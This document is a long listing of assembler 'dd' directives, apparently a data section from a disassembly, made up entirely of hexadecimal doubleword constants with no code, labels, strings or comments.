		dd 170448B5h, 6A1C038h,	80F571C0h, 9F28071Fh, 0D0F4700h
		dd 0CE7409h, 0AE80A6E0h, 9B6BDFD5h, 80D07F38h, 7210B445h
		dd 542EC4h, 865C4346h, 2C7EC929h, 80AF4739h, 30950464h
		dd 3957DAD4h, 0FA8F9837h, 82E086C2h, 10A7562Ch,	53DC7E6h
		dd 0F48480FDh, 41A49F0Fh, 0ABC3002Eh, 0F868A355h, 0BA72A795h
		dd 0B94FF00h, 0A622BDB6h, 8A5205E5h, 0EE24376Ah, 80C4CC80h
		dd 594B0366h, 280D12A4h, 0E1C379E0h, 0D8195000h, 0C53D6BB3h
		dd 3F8CF052h, 0D5BB4F76h, 0C2532480h, 87685CCAh, 3C1AA207h
		dd 90610155h, 7830952Fh, 0D690A05Eh, 1F4800B4h,	73EC9410h
		dd 0B50047C4h, 0A632D0D4h, 1B4C522h, 84E1A4F0h,	0ECFAF629h
		dd 0E50E300Ah, 0A068CD60h, 8B70D4BDh, 0E0FFFA6Ah, 0ED0C0082h
		dd 60DF9AF7h, 9607525Ah, 8340B5FBh, 0F00C2029h,	0C12E03h
		dd 0F9D1D56Fh, 0EF2D26DEh, 8289060Ch, 0DB109Fh,	0E24B078Eh
		dd 15146A75h, 4C6E539h,	45A79296h, 7AF70880h, 9203EECCh
		dd 0EA950010h, 3BF84EEFh, 20F830Ah, 41E2768Ah, 96FF597Ch
		dd 0FFF631h, 38611360h,	0DD082498h, 4B98E960h, 76A768BCh
		dd 378D01E4h, 45AA5A43h, 0C5CF6190h, 79AEE4B7h,	88B1EC00h
		dd 0F799E647h, 8EE09597h, 82058A14h, 2A638776h,	0BF3199C0h
		dd 0F850050h, 0CBC7D8A0h, 0A509B31Dh, 0D41BBB6Eh, 158002Eh
		dd 3E0732B9h, 57716B00h, 55976E8Eh, 0F7AF1E11h,	73FD6Fh
		dd 0BC178CF2h, 579294Fh, 5500B77Eh, 0D347016h, 27FA09Bh
		dd 0BB44F31Ch, 563C5A8h, 0D18B25D8h, 94004EF6h,	0CEB25A6Eh
		dd 338C91h, 0ED20F2F9h,	7AFF0849h, 11571400h, 9BAC83A3h
		dd 8E01002Bh, 0EC2D4838h, 0A4001A35h, 74B17FD4h, 3622F0Ch
		dd 0D23016DAh, 7CA0279Eh, 650033EAh, 0D94A34CCh, 702FD8F9h
		dd 5C9091h, 0FD491C61h,	8DF36F70h, 0EB102207h, 0C78A9047h
		dd 0DB96B207h, 0AC059DD0h, 0C50A00ECh, 0AEE4F683h, 0FF1D8FA0h
		dd 4680B11Ch, 40DCEA58h, 434F0F17h, 8E0944Dh, 88F796C6h
		dd 66CAA463h, 921000C4h, 0CBFA1F03h, 65005256h,	0F8868CB3h
		dd 786DACA8h, 90B47ADFh, 0C0AE0374h, 4B9BF019h,	0B9D539A8h
		dd 0FF0D7401h, 106D145Dh, 0C03E44F4h, 0D4BC3590h, 3D00477Bh
		dd 0D2F24B4Ch, 1A8789h,	363A260Fh, 0A5E17F29h, 57CEEA00h
		dd 7DBD19BAh, 721A001Fh, 0B14387DAh, 0F0F2FADh,	0A1E77C13h
		dd 0E2155083h, 0F060D2E4h, 0A3F3096Ch, 982EF1DBh, 52EA6400h
		dd 0E900DA23h, 1E1563FBh, 8884ACh, 31ABE3D0h, 0C6677BDh
		dd 75452D00h, 0ACD7DCBCh, 0A44A00EEh, 3A2C1F56h, 610055A9h
		dd 406DA342h, 7C2C9BEh,	69EA4F2Ah, 3D88629Dh, 0CA7260E1h
		dd 63E74360h, 890DA07h,	0A560B629h, 2FF7398h, 0F7C7C2D3h
		dd 0FAE310EBh, 0E61EC4A0h, 0C69A23Ch, 10C5FF02h, 10CF0B2h
		dd 91796D83h, 3F2460EFh
		dd 0B0E321A1h, 5D42981h, 638F41FEh, 0D1C607C1h,	0C26290BAh
		dd 0BD001B1Eh, 8D7F2208h, 0C0FCBF68h, 5A311F60h, 20C045ACh
		dd 743F9DC5h, 92CD0101h, 79C98A6h, 8E119273h, 89B0DC1Ch
		dd 1867ABE6h, 0A0BE7F5Fh, 64A9CBFCh, 55C0F2C4h,	28189CC6h
		dd 9B6119A4h, 7CA1023Fh, 9243DFB2h, 0F0C13F61h,	17F6D3C8h
		dd 877D023Ch, 0DABB1E82h, 6581F570h, 292E02CDh,	51D5180Eh
		dd 0A76674E0h, 56165700h, 0EA4D7190h, 0E0E0B8A3h, 6B0E0036h
		dd 1F53F1AEh, 6700CE4Eh, 723B9005h, 3592F2h, 0A4C6B90Bh
		dd 38E3CB94h, 4300377Ch, 0B765D688h, 11F2BA0h, 44BA90A9h
		dd 0F6D2CCF6h, 7AC5A0A3h, 25D51DC8h, 0F8C3A1EAh, 39C883h
		dd 3D2ADB8h, 0DA76BD16h, 0FAF3EF0Bh, 0E2BE8625h, 3E222228h
		dd 0FED0FE44h, 9427009Dh, 0F704FDDEh, 8100F9FAh, 5E259E75h
		dd 3F90B27Fh, 0A60019D5h, 9CD7AB43h, 8B0312D8h,	0A2F58D7Eh
		dd 4155B874h, 5C0D05EAh, 0FA83C59h, 0BEA0AFD7h,	552D5A8Bh
		dd 0BF03C490h, 0AB7B4CB2h, 0D5759996h, 688AC4h,	70FFEBC2h
		dd 0A16ACDBFh, 4E55140Ch, 361012h, 135EFEDDh, 0F1708EF0h
		dd 9A4E701h, 5ACCB199h,	0C283B5F4h, 869A93B9h, 0C0C5D041h
		dd 8400B8D2h, 379469ADh, 704E3C0Eh, 47340021h, 0C5A932F4h
		dd 0DC028128h, 784CBE36h, 0F65140F3h, 0C4980084h, 0EAE0D0Bh
		dd 0AC00B756h, 9F208D4Ah, 1F21E377h, 80737679h,	2844B565h
		dd 0DE00ACCAh, 7AEB450Ah, 4239AAh, 0A44EC3DAh, 162B311h
		dd 0E62BD600h, 38647F17h, 834A005Dh, 0E2A126BCh, 8703A584h
		dd 33292074h, 80FEA794h, 4FFB499Fh, 7BEB00A0h, 0D9C49D6Dh
		dd 4000F33Ah, 559903C5h, 71AE54h, 0D6E560A1h, 9FB10462h
		dd 1FD22300h, 3B76F106h, 0BD300C9h, 69CE36DFh, 0CB7996FAh
		dd 9E4F2200h, 0D1F0C8B8h, 3BB0394h, 741D47ABh, 0D5FD50FFh
		dd 59FC8FF3h, 0E2EB9100h, 28F6DABAh, 0EA7D7E04h, 0D0DE0096h
		dd 636601ACh, 7EA8A8Eh,	0A0C68400h, 0DBECD267h,	18E71F2Eh
		dd 0D5AF0031h, 7F773673h, 0E8B1951Ch, 8A3E3900h, 0CDB7DCh
		dd 99CE03C7h, 0FF3AABA6h, 78DBEA07h, 0EDB0AC51h, 0E7707Dh
		dd 3B1395B5h, 6BD4A718h, 218F3507h, 0D060793Eh,	1F932919h
		dd 990A27h, 0EF32531Ah,	0DC00B4FAh, 412E5EF2h, 79DD756h
		dd 39B13FE9h, 7FBB8065h, 0EC503C6Dh, 4C009CAAh,	0A1E63A48h
		dd 31783786h, 8879D416h, 0B9DCD835h, 497F1B00h,	0AA624722h
		dd 3E3004Fh, 0B5BBF3B1h, 500ABFFh, 9BD864D3h, 2C453252h
		dd 1CD6FA6Fh, 0BA640B0h, 0F24CA4FFh, 0E52C41B8h, 0B9001625h
		dd 0FB852903h, 0E647834h, 0B486F9B5h, 227AC420h, 0BF000895h
		dd 39A356A9h, 97DA47h, 2E23EDFDh, 9E809C15h, 24F84607h
		dd 5B30BD22h, 91AFD7h, 153A436Eh, 422ADD96h, 5EE10800h
		dd 0CBC68D7Bh, 77F60FB8h, 0A7410D3Dh, 0E8283F0Ah, 10009C33h
		dd 656741EDh, 9534CBBh,	9348DF5Dh, 38BA1400h, 0BD0026D8h
		dd 186556C9h, 1DC8A3h, 8AC51189h, 0D77CFB12h, 0C7D53000h
		dd 78B0E957h, 4022605Bh, 2161E874h, 0E0E38305h,	9400DB13h
		dd 0B7CF09A3h, 253D00F8h, 0B50677AAh, 8039270h,	1D9C59B9h
		dd 54ECE872h, 0BAE243h,	2DA94173h, 2E9D5B6Dh, 15676F00h
		dd 0F8E07DA5h, 7735E699h, 719E0047h, 212A8584h,	0EF001BA9h
		dd 0F8CDF438h, 74D2FDAh, 83F5AE33h, 0EDA37103h,	776FEC18h
		dd 9CD1FE00h, 118CC43Ah, 0EAE21C89h, 6E69008Ah,	219E320h
		dd 600421F0h, 1B10A839h, 0CA674080h, 5ACE00D8h,	3A287211h
		dd 32001C74h, 6A87D191h, 70B5C17h, 247B7E7Ch, 3F3E3369h
		dd 0C382ADC0h, 0D10CDC28h, 6861B900h, 95293BF1h, 4090E6h
		dd 0F510A748h, 8902E808h, 0C15B6C01h, 7CBD323Fh, 0A9C428C5h
		dd 138672B3h, 4D9081h, 7447B055h, 0DA05896Fh, 0F7144B84h
		dd 0AE69C000h, 20F4C5h,	58C0D81Ch, 0E4E15163h, 85392B00h
		dd 0E528D0C6h, 8D9300BAh, 311E5919h, 45004E5Fh,	0EB98E158h
		dd 5CFBFDBDh, 0A7C9849h, 0B4D65BCBh, 0D0568E84h, 7824C03Fh
		dd 12B3367Ch, 2AF36400h, 0EB9D6019h, 1E66168Ch,	2207003Eh
		dd 0AF3DCB1Dh, 416EDF00h, 12A680FAh, 9AF500A3h,	19680B45h
		dd 5C26CAB8h, 7905689Bh, 8C0E8065h, 3E3120F8h, 3999708h
		dd 0E2375204h, 0D21C472Ah, 8D00B1A3h, 0DD853AB9h, 0BC7F006Eh
		dd 26C753ECh, 311420D0h, 0E18443h, 254F5561h, 7A9E6EE1h
		dd 34D10015h, 9AF64969h, 14003159h, 98CCCA40h, 5C4F5218h
		dd 4B0091AAh, 0D9CD67FEh, 0AD00B541h, 635E8F9Fh, 3D3A8A6h
		dd 0B08D6954h, 0A4B936B4h, 39904002h, 53079992h, 3C86C474h
		dd 375DBBE0h, 0B84F00D7h, 0EAC3E2DBh, 0BA001AE8h, 232D3C7Ah
		dd 0FFC874h, 8F9885F0h,	0D1E14781h, 182E7800h, 155570F5h
		dd 601F60E5h, 96EECDBBh, 0CAF0D890h, 0A7A25200h, 76BE07CFh
		dd 994514EBh, 140210E6h, 0C7A01CACh, 0A36FA103h, 2684A0CDh
		dd 0FC2E495Ah, 0A75CA20Dh, 94C7C0C1h, 0EF01381Dh, 42D0803Dh
		dd 0B3C2FA4Bh, 0A67300DDh, 0BF8257D3h, 9600D1A3h, 0C691E361h
		dd 50A9A5AEh, 980E248Fh, 0BE130D99h, 0FF69F4D6h, 801C46C1h
		dd 0F72C70C9h, 20DD88h,	85D617ECh, 0B59942EBh, 0F83160ABh
		dd 0C62FE1A0h, 50A9A3D0h, 0AE3457h, 0B89A669Dh,	300EAA13h
		dd 0D8E24301h, 56F41D4Fh, 0E3CC00F3h, 1A171999h, 8FFE97C3h
		dd 0DCA7791Eh, 0DB0F4BC1h, 0DFF83413h, 0C33D1595h, 3207A671h
		dd 31B2751h, 3588DA72h,	0C17B422Ch, 0D6616200h,	0A6DE187Bh
		dd 9A250048h, 0CDC4CC1Bh, 0B403D0AAh, 42ACB628h, 5900D7E3h
		dd 0FA0ABFh, 0B78790DAh, 43EC7C37h, 0A179460Bh,	0DC76008Bh
		dd 905A5985h, 0D09E002Dh, 0C60739A8h, 0D7F4A3FBh, 60DBEE00h
		dd 0B1FFE9A0h, 781D0040h, 3DAB316Bh, 922606BCh,	0F605A2FAh
		dd 0A0404101h, 0F077C433h, 0F5A70C4Ah, 0EC198C74h, 4E889201h
		dd 2E99A5D6h, 309FC730h, 0E7206CAAh, 0A726EE9h,	93626900h
		dd 75280E81h, 22590F2Fh, 0C19F35F0h, 4A1AD69Ch,	0E62F81Dh
		dd 92753DF0h, 4300ACF0h, 0A301C53Bh, 0B228E822h, 92753C10h
		dd 9026B100h, 89DD8F4Bh, 6DF093Ch, 399FC312h, 0E58E3828h
		dd 0E8181DB0h, 3A4041B0h, 76240303h, 0F0DB6C0Ch, 0EAA66804h
		dd 7BC0D7B6h, 18AD48B8h, 0B81B825Ah, 22390524h,	2FF918A0h
		dd 37A75D40h, 575813CEh, 0E0E8B023h, 0D71803B8h, 0EE188EE9h
		dd 0FF6D4822h, 0F205A507h, 297C82EDh, 18719481h, 3913DC12h
		dd 40701624h, 92C790B1h, 9D76BA08h, 42521484h, 0B85098E6h
		dd 746640AEh, 71832407h, 0DC8549E5h, 43C77438h,	50EB8592h
		dd 505DC014h, 0EA37BA74h, 74C169CEh, 1881DEA8h,	13C99383h
		dd 495983F5h, 88A1E73Dh, 33F607A7h, 3608D7A9h, 0A54B2100h
		dd 9D156FE4h, 0AD8C180Eh, 503880FFh, 4870C03Ch,	0EA9440F8h
		dd 45609A14h, 0BAAC408Ch, 582BA440h, 8A1514D3h,	0C403908Dh
		dd 0ADF6D82Ah, 0E1F4C0FFh, 0FA1E910Eh, 728442D9h, 0C001F1AEh
		dd 986B7D9Ch, 87912970h, 20CF1E16h, 549206C9h, 0A2057032h
		dd 0F427AA3h, 8EC5F400h, 3BA7350Eh, 40E0759Fh, 0D0367928h
		dd 8E0858C3h, 1A51125Bh, 9F8040A0h, 96CF19BFh, 8583CC00h
		dd 5E3CD9EDh, 91D10156h, 0F8B29028h, 0E8FC5058h, 4A05578Fh
		dd 45D02326h, 27C6D003h, 44E1B0D4h, 73B008Ch, 0AC6C14EAh
		dd 70006F33h, 0B00351E5h, 73FED82h, 0FC61295Ah,	0B50AA07Eh
		dd 970913BCh, 1879F65h
		dd 0EEEAA8F9h, 8DFFD8h,	36FA966Dh, 0E41491CBh, 0E5050907h
		dd 80409C37h, 0B4797Dh,	6050C5B7h, 0E30F8ACDh, 5EC14000h
		dd 68518C7h, 7C0C00BCh,	36CBC4DDh, 7F07B85Ch, 6BB602BEh
		dd 54AC4680h, 0B1A0004Bh, 185A44C8h, 38005F50h,	51EA394h
		dd 31816BB5h, 80280414h, 10DC12CCh, 85893A6Eh, 0C478E809h
		dd 53083081h, 0B9800671h, 77E98813h, 51BA8Bh, 58EC0E02h
		dd 0CCBDB300h, 0B05981D7h, 7BF70042h, 0E0989034h, 3A000699h
		dd 0ACA4A860h, 0F99D86h, 597F332Eh, 0D5F4D165h,	0A3EF0200h
		dd 6E77EB5Eh, 0B0A40052h, 8C67D7FDh, 2FFEE254h,	8B06B70Fh
		dd 0E0E52EAEh, 6074A0C4h, 0EA7BB8h, 58A21531h, 90CDBEB5h
		dd 0FD66EC00h, 606DE436h, 624760C2h, 0D3727BDEh, 0CBF158h
		dd 26C5A234h, 0FAA7C64h, 23709484h, 0A1D54E41h,	0C541F0BCh
		dd 0E10166EEh, 73BE03E7h, 0E840952Eh, 7B7DE06Ch, 0B10E0012h
		dd 0CD8117AAh, 9F008955h, 0DE112A84h, 3EB69A57h, 58C77BEh
		dd 82AE80A0h, 2AA27300h, 87BBF90h, 0AE2D0050h, 287ADA4Fh
		dd 0A1B089E3h, 610C43E8h, 20C4DF30h, 104560A0h,	5BEF647Eh
		dd 9DA5D500h, 0A997BBB6h, 0F6781C2Fh, 16ECC2ACh, 14435136h
		dd 4C4919D0h, 7B57E80Fh, 0BC13619Eh, 0A1E4CCA0h, 0F4FD3F9Ah
		dd 0B001B800h, 7C53BBD8h, 79F6D10Bh, 0F0DB8028h, 0BD1F3Eh
		dd 39B93060h, 0A47CE948h, 0B41876ECh, 0D9684AD3h, 0C086008Ah
		dd 0A5056F1Ah, 963A1795h, 0F0420A08h, 0AE0E841Bh, 8D87C0D7h
		dd 75C9EECCh, 6614002Ch, 0F6FDE4E2h, 28C02D12h,	7698D142h
		dd 0EED8A0AFh, 0F93B1E41h, 9B6B40E1h, 7FD5CC44h, 0FC57338h
		dd 638DD4CFh, 905C4B57h, 0AFFF06h, 322E04FAh, 1FA2E0D2h
		dd 0F0479700h, 0F0D9948h, 0F6CF00DDh, 51B6B520h, 0F4F01D54h
		dd 0D2716B00h, 0E7CB52A3h, 9D370066h, 1DF9E3FFh, 3060D681h
		dd 85E0EDE8h, 2E100073h, 0BA3313E4h, 9700E137h,	7DD88CEBh
		dd 441DD0h, 0D2B0DC0Dh,	46215FF1h, 6BD9200h, 5C1CDA50h
		dd 99C60004h, 0D7377A8Bh, 3C75AB7Ch, 0D30AB101h, 2E66198h
		dd 45D800F3h, 99713287h, 0DF0046FFh, 8FA73D44h,	73312CBh
		dd 58503780h, 0E4BA21h,	714B3BE0h, 572EE5Dh, 9649B8EEh
		dd 604E007Ch, 0B5AF241Bh, 4A63002Ch, 2A87E234h,	3B00CBBDh
		dd 0C23C8C79h, 0EC0C647Bh, 3E30145Dh, 0ED00B6A9h, 477789F7h
		dd 0F00AFBAh, 3561F21Fh, 928A2D1Eh, 78BF0034h, 0A3E2219Fh
		dd 2B00136Ah, 0EB1493EEh, 36FAEA4h, 535F0372h, 900098F8h
		dd 8A0F13B4h, 73D34CBh,	0EAB0B53Fh, 80B880E9h, 9200AE5Dh
		dd 0F577B43Ch, 0F571A89h, 0C9419B8Fh, 0A1E26861h, 0C478212Eh
		dd 41FFD42h, 8700CD70h,	5FA74CA6h, 853F0062h, 3767F999h
		dd 0EDF4B10Dh, 13881C00h, 62E347A5h, 0CF8200AEh, 0A00C368Eh
		dd 0D90ED548h, 600A5E7Dh, 176E1809h, 0D11C00BAh, 0E5CA0164h
		dd 0E2028BF8h, 898880A6h, 0C4D8E3B3h, 0BC1ACAC0h, 79E700A4h
		dd 0D50A4A1Bh, 0DC0065FEh, 35FA7292h, 788456Ch,	0BDB637F5h
		dd 4D0CB05Ah, 6A0EE1FBh, 489F76h, 0FEE0AF18h, 1467811h
		dd 5D7AD729h, 0DC16E891h, 0A400AC87h, 0C84CB03Dh, 1EFF56BAh
		dd 0F9B92C95h, 27BC0C8h, 5A32D3E8h, 0FCA04D1Ch,	0E963C791h
		dd 7BB82407h, 0B970A09Ch, 992C14h, 41B382F5h, 5B4F6B83h
		dd 0D84898F6h, 6CD3013Ch, 4BF05524h, 25EDEFCh, 26874088h
		dd 0E84882BBh, 9E35D2E7h, 504069CFh, 8C621508h,	317734h
		dd 0F4D44888h, 0A865C1Bh, 7C4A4B00h, 0C57D7099h, 0A0AA508Dh
		dd 0F663000Dh, 0B5E8AC95h, 3F0982A3h, 98B648h, 52492BE4h
		dd 7D210014h, 17DB3CF0h, 851D729Bh, 3795F37h, 0B745E5CEh
		dd 7C94F82Ah, 933226FEh, 9FB5074Ch, 9929E395h, 0A9DD8DB8h
		dd 0A30FBF0Ch, 987EF881h, 95EA120Fh, 4CB8401Ch,	9D14169Eh
		dd 2781ED00h, 6A607F23h, 0E9BB00B7h, 392A761Ah,	40C0838Eh
		dd 0BF2E8AEAh, 0DA4D0042h, 0CD1D5F48h, 5E0052E2h, 291981D3h
		dd 3AC46885h, 6D00E7ABh, 0BA2F33A8h, 6F0069F1h,	79349D6Ah
		dd 768EB9h, 153C421Eh, 0E1A2FEB4h, 80E5D000h, 8EE6F427h
		dd 0D25E0096h, 0C7CA5B18h, 76169D81h, 11013971h, 3E2BF2C0h
		dd 99C420h, 0EA5DC2B7h,	449FD6BDh, 800B1405h, 0B4202659h
		dd 0C7C25FD7h, 0B296EDB0h, 0F060B941h, 0E8E7D9D3h, 733DCA57h
		dd 0C0F8809Eh, 0DA70A74Ah, 25CFC2Bh, 7EF329F5h,	0C880AB31h
		dd 8D5525B4h, 10B56E31h, 40DCBEC8h, 49AD1E2Bh, 0C13D1F50h
		dd 3A360145h, 0E81C60A6h, 46DD20h, 18BDE16Dh, 94167258h
		dd 42094C00h, 0EEF00F49h, 929854h, 0CED19C28h, 0FC08F1B3h
		dd 0DED58C00h, 0D37C9FB4h, 268B90BBh, 0F3674Ch,	744A13E2h
		dd 209AB6Eh, 256B949h, 773C8602h, 0F32A180h, 0C0FA99BCh
		dd 93227100h, 6A0B6D61h, 0AEC3DE2h, 8B4F9Dh, 0C6E1D4BFh
		dd 0FB000984h, 752EB293h, 9668EBA9h, 1F300B1h, 0C76D8380h
		dd 0CE52B307h, 4410C1A0h, 2ECB95h, 8933C422h, 41B28F8Ch
		dd 0C00DF0C0h, 7FF49563h, 94B3008Dh, 347FF89Ah,	78006B4Bh
		dd 0E2FD2F9Dh, 390FCEDh, 813F1172h, 0E6E832ECh,	0BDFE476Fh
		dd 234A24Ch, 0B7969AABh, 5720C087h, 0FEEA1291h,	0A06C00C6h
		dd 36CED339h, 0E1517F01h, 76061761h, 982AE640h,	0BDACA0A3h
		dd 96970257h, 0A21B3360h, 0C8C3E083h, 0FF3236A0h, 0E12D250Fh
		dd 46D1203Fh, 9AEDFBh, 0E6A5BC7Eh, 0E88C7B83h, 38A0B104h
		dd 0C805198h, 2C172C5h,	4BC832FCh, 89402CA7h, 560E3CF1h
		dd 805F660Ah, 0E47C031Eh, 61B800E9h, 384972F5h,	0F61D5910h
		dd 9E444123h, 95830386h, 0AD12C0AFh, 71DE09EAh,	9C855929h
		dd 0C3E84097h, 487C2B5Ch, 57502403h, 8D35A017h,	12723887h
		dd 0F73060ABh, 8C7566h,	0F8376EEEh, 0EC4AC10Ch,	2BE17B26h
		dd 0F4054E24h, 2AC1049Ah, 36D8B640h, 1BFE4C9h, 4551A269h
		dd 0C42877C1h, 0B339DCDAh, 0E51100C6h, 0DF15FB0Dh, 0A599004Ah
		dd 27C4A488h, 93FE5734h, 80AC2F31h, 0BC2451F8h,	92B20175h
		dd 3FD21CF4h, 0D9703078h, 670F4600h, 0D3350C6Ah, 9C23006Bh
		dd 96B15549h, 6613CB74h, 68000D2Bh, 0BB58DBCEh,	0B8C8004Dh
		dd 0FD64CF1Ah, 89007168h, 2B23F45Fh, 774A65h, 58E11315h
		dd 6C56E95Eh, 0B50EB47Dh, 2010D43Fh, 23DF03E0h,	9343010Fh
		dd 61E4A452h, 10103332h, 0AE38C407h, 99D04202h,	1040B773h
		dd 79F20AEBh, 7C14600h,	1857131Ch, 0F7730050h, 96270288h
		dd 391DCEE3h, 0A2C0FD53h, 0FC7E6347h, 0F8200037h, 618A4B29h
		dd 3D002E01h, 38DAEC93h, 0E415C70Ch, 335D00A5h,	69D13F56h
		dd 2B00C6EEh, 840FE99Ch, 3CC014h, 0C773608h, 918FFC9Ah
		dd 74B16000h, 9D42D33Fh, 0B447483Ch, 4987Ah, 11146123h
		dd 77BB03D8h, 49C40D07h, 812EE533h, 58C019D6h, 4CCFB20h
		dd 0EB312C81h, 0F13480E2h, 0BE1CB1CEh, 1380EE97h, 8D34D5CBh
		dd 8F1E1F14h, 61954052h, 0C491395Fh, 274DB000h,	7DE263B1h
		dd 8AE300C0h, 3107FD37h, 9C3C999Eh, 91F58E19h, 73C9A0C3h
		dd 25FFA3A2h, 98003ACDh, 758AD66Dh, 49E49400h, 2CC9E89Ah
		dd 470C0050h, 0B62BE97Fh, 721E88DDh, 9C0A7D6h, 8F6027F7h
		dd 79550096h, 4519775Fh, 97CA3Dh, 7BDED7F3h, 8BEC0094h
		dd 7C87F4AEh, 0C700FB6Ch, 4D1E1D2Fh, 1DE88067h,	478699B4h
		dd 0B087E064h, 2522294Ch, 2AEEB201h, 23594F47h,	0A05EECh
		dd 0DAE7B0E0h, 0D8DCA286h
		dd 93B11B07h, 8CC1BBE5h, 0B8E7B850h, 0A23B4B2Fh, 9B43D4h
		dd 0D4595320h, 278D8368h, 21C2138h, 0FBC05609h,	0E5DBE084h
		dd 2E1238B3h, 306BA583h, 60F85F92h, 0FA58676Eh,	44E22640h
		dd 0F144D300h, 1C3308Bh, 0ECA46DE1h, 0C10AF011h, 0C1D4E886h
		dd 65707607h, 0F507B657h, 0F7005A67h, 274C7Eh, 0CBDD0E6Dh
		dd 1FB8EB40h, 0AC9048h,	8468F96Ch, 48D32E11h, 0A500CCA9h
		dd 38EC91BBh, 0FF3E7354h, 8048B0h, 1ACAA634h, 1F1E2725h
		dd 40C1143Dh, 37176FEAh, 18008A3Fh, 7D20F6A8h, 23E6FAh
		dd 39D622Ch, 79160A13h,	750B7072h, 8A0796A0h, 2509944Ch
		dd 7368618Ah, 0E7579C30h, 834EBD5h, 16E89A84h, 17E835Eh
		dd 65880270h, 2FE074ABh, 52775D00h, 0B03D3E6Ch,	5B9F1801h
		dd 469DC88Dh, 8FF30B00h, 2AE19FCh, 0F2770030h, 0F5A83D5h
		dd 2B7BF466h, 1F96AD07h, 9605E8Ah, 1A5D222h, 0F7E9B4F8h
		dd 30576861h, 0EF01C4DEh, 7DB83E4Ah, 0A6609159h, 2D930067h
		dd 5D2965C7h, 1CB80454h, 342EF3E2h, 24036953h, 0F811642Bh
		dd 0B036DDDAh, 72AD00E8h, 482CFF3Eh, 64160B7Fh,	5AB37A5h
		dd 0C0C7B7D6h, 0A68F5D19h, 13F83F00h, 0A737DCEEh, 0B13403C3h
		dd 7E6BC6ACh, 80E0203Bh, 576430BCh, 12FB8515h, 0C0343B41h
		dd 98EC114Ch, 0B1428905h, 0F4D0F3BCh, 52FBF73h,	2EA3B65Bh
		dd 0F217DDh, 0DF551A64h, 0F617CBD0h, 9CB0630Fh,	0A37970h
		dd 0FCFF8FEDh, 0F2CCECB4h, 4295151Ch, 0CB90F466h, 9435AD01h
		dd 0E1452669h, 80E83895h, 3946EAAFh, 3DDD0041h,	0B6FFF42Ah
		dd 0B966AD62h, 862E40h,	13B088DEh, 26EC873Dh, 7100DAFCh
		dd 0A5BFFF4Dh, 0D9D0E2h, 0A314CC5Ah, 0D8CEB601h, 0ADD79F00h
		dd 0A4B88C4Ch, 3AB75ACh, 404DB144h, 9EC02948h, 9F009198h
		dd 0D8AE4E21h, 8843EDh,	0DB558D9Ch, 502DA63Fh, 9BF04D60h
		dd 3F50139h, 7FCCDA09h,	32802EC5h, 0A407B5BCh, 165BB8A5h
		dd 0CCA74C81h, 0FB8FC0h, 6C5F0F3Bh, 39298BADh, 770F6375h
		dd 0E082353Eh, 2BF9EDC9h, 54B578ECh, 0B15B980Ch, 0BCA0BA38h
		dd 17F0FA49h, 5603D1ECh, 0AA1B7559h, 0E064C24Fh, 78BAFEE4h
		dd 582F17A1h, 7EB8006Dh, 8A3DA71Ah, 0ADFCD800h,	90E71F53h
		dd 168D7ADDh, 490A9377h, 9464FA0Ch, 2C921F00h, 717F27DBh
		dd 0A1EC0060h, 798F49CCh, 31F074D8h, 299B840Fh,	21FAE0FBh
		dd 3E2AF976h, 0C883830Ch, 57DEA675h, 0B6BA9A90h, 10D6B830h
		dd 0AF8682h, 0C4C7DCFAh, 85E6CBE1h, 3A6948h, 0D7C108DFh
		dd 1FE840h, 8BF444A8h, 4D8C1CDBh, 426BF800h, 9D02494Eh
		dd 6458011Ah, 9E0E47ADh, 0EF0DF414h, 0A64D900Bh, 2448870Ah
		dd 30712600h, 7E397B97h, 54A107F5h, 0B75D3663h,	0EA5A9017h
		dd 6900761Ah, 38054C65h, 327897h, 10CDA4DDh, 64E9A2Ch
		dd 81F7ED00h, 1116FA5Ch, 137B007Eh, 0C342E7ADh,	0F31EC631h
		dd 9C0DF05h, 749ACF18h,	6A780069h, 0CA2A0BF1h, 5D025B6Eh
		dd 0E0E28B37h, 0B2A541D5h, 0A6D2F440h, 62B0D7h,	8ACA774Eh
		dd 6FA5DB20h, 0A22F1500h, 0FD4539E1h, 23181756h, 0C9880A88h
		dd 6CBB0081h, 0EE6F972h, 894FD800h, 0D30DD001h,	6C907Fh
		dd 92ECC927h, 0A6DB16E8h, 0E67DC201h, 528ACFEBh, 8FF7B840h
		dd 92AF480h, 4B273BF3h,	0CD1C70C0h, 180BE700h, 4198ED03h
		dd 0B9FF09BEh, 4A088A7h, 2A8D4FDCh, 4400014Eh, 9C037758h
		dd 3F4C90D4h, 0D98720C9h, 0C098B742h, 9D320408h, 24B8F73Ch
		dd 4F035422h, 0C041C19Ah, 277C957Fh, 4C041A49h,	0C0ECD0FAh
		dd 0F30621BFh, 0B62882CDh, 0A578A378h, 4F20C0C7h, 85198Fh
		dd 3437CA2Fh, 7083BC4Eh, 557A0D0Ch, 14103089h, 0A4FDCEEAh
		dd 0D68C13h, 2EC1FCACh,	230B9566h, 8247F16Bh, 0ECB8AF7Eh
		dd 0D87C0084h, 53EAEFA2h, 8101069Fh, 233E8659h,	30200C8Ch
		dd 2E8F1DEh, 0B44C0387h, 8D83043h, 6D153F98h, 764A2100h
		dd 6CE5BF6Bh, 0EFA817DDh, 0DE4A1FE3h, 0C41FC49Ah, 34188345h
		dd 290E2490h, 0FDD60B00h, 25DAA665h, 0F7270169h, 57047A58h
		dd 0BB0C3052h, 9C981B00h, 0BCB69637h, 59F30017h, 7357CB14h
		dd 0AB002B43h, 86931C07h, 1F7AF5h, 981A8B99h, 0F9050DFBh
		dd 0AB906701h, 1661C73Ch, 0E513F8h, 7D574292h, 0AF838AFDh
		dd 0C01FD70Bh, 94A020E2h, 49D139h, 3DA497BCh, 0C333AF19h
		dd 0E4D7BB03h, 89A98BE8h, 7AE0AE4Bh, 1A290097h,	49E0C879h
		dd 88265B63h, 4A402CC7h, 13A88F85h, 0C0BAF83Bh,	89501C14h
		dd 0C6008CBAh, 3E353F26h, 49313669h, 4A381Bh, 99D77FBCh
		dd 147B0403h, 2B106512h, 87C90840h, 44C898h, 14B52651h
		dd 22E6D9C3h, 38490A0Eh, 4C00376Ch, 9D9E4016h, 0CE87002Ch
		dd 0BBB4DD24h, 0B8006E82h, 85047B3Fh, 74921BDFh, 17610052h
		dd 23EE62C5h, 0E090301h, 803974E0h, 9054DECAh, 0CAA50A19h
		dd 88E533h, 0ECED5FDAh,	5900D60Ch, 0EBCBB749h, 4751B6h
		dd 548F6855h, 0B52D0DE4h, 0DA8AE800h, 29E3CB5Dh, 7F3100E5h
		dd 0D6894381h, 0F62C2E14h, 0DB005392h, 18D7EA6Bh, 4CF805CDh
		dd 0C068706Ah, 8286C308h, 0E400574Bh, 0F7E4EC51h, 17E90092h
